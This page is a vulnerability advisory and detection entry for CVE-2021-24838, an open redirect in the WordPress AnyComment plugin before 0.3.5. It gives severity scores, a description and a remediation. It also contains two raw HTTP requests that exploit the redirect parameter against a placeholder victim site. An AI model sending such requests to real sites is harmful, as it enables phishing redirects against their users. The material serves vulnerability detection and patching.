🔙 목록으로 돌아가기

CVE-2021-24838: WordPress AnyComment <0.3.5 - Open Redirect

TitleWordPress AnyComment <0.3.5 - Open Redirect
Authornoobexploiter
SeverityMedium
ImpactAn attacker can trick users into visiting a malicious website, leading to potential phishing attacks or the execution of other malicious activities.
RemediationUpdate to the latest version of WordPress AnyComment plugin (0.3.5 or higher) to fix the open redirect vulnerability.
CVSS Score6.1
EPSS Score0.02345
CVE IDCVE-2021-24838
CWE IDCWE-601
Tags cve2021 cve redirect anycomment wpscan wordpress wp-plugin bologer vuln

🔍 Vulnerability Description

WordPress AnyComment plugin before 0.3.5 contains an open redirect vulnerability via an API endpoint which passes user input via the redirect parameter to the wp_redirect() function without being validated. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.

🌐 HTTP Request

GET /wp-json/anycomment/v1/auth/wordpress?redirect=https://interact.sh HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Version/15.5 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /wp-json/anycomment/v1/auth/wordpress?redirect=https://interact.sh?a=https://interact.sh HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24838.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-24838.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A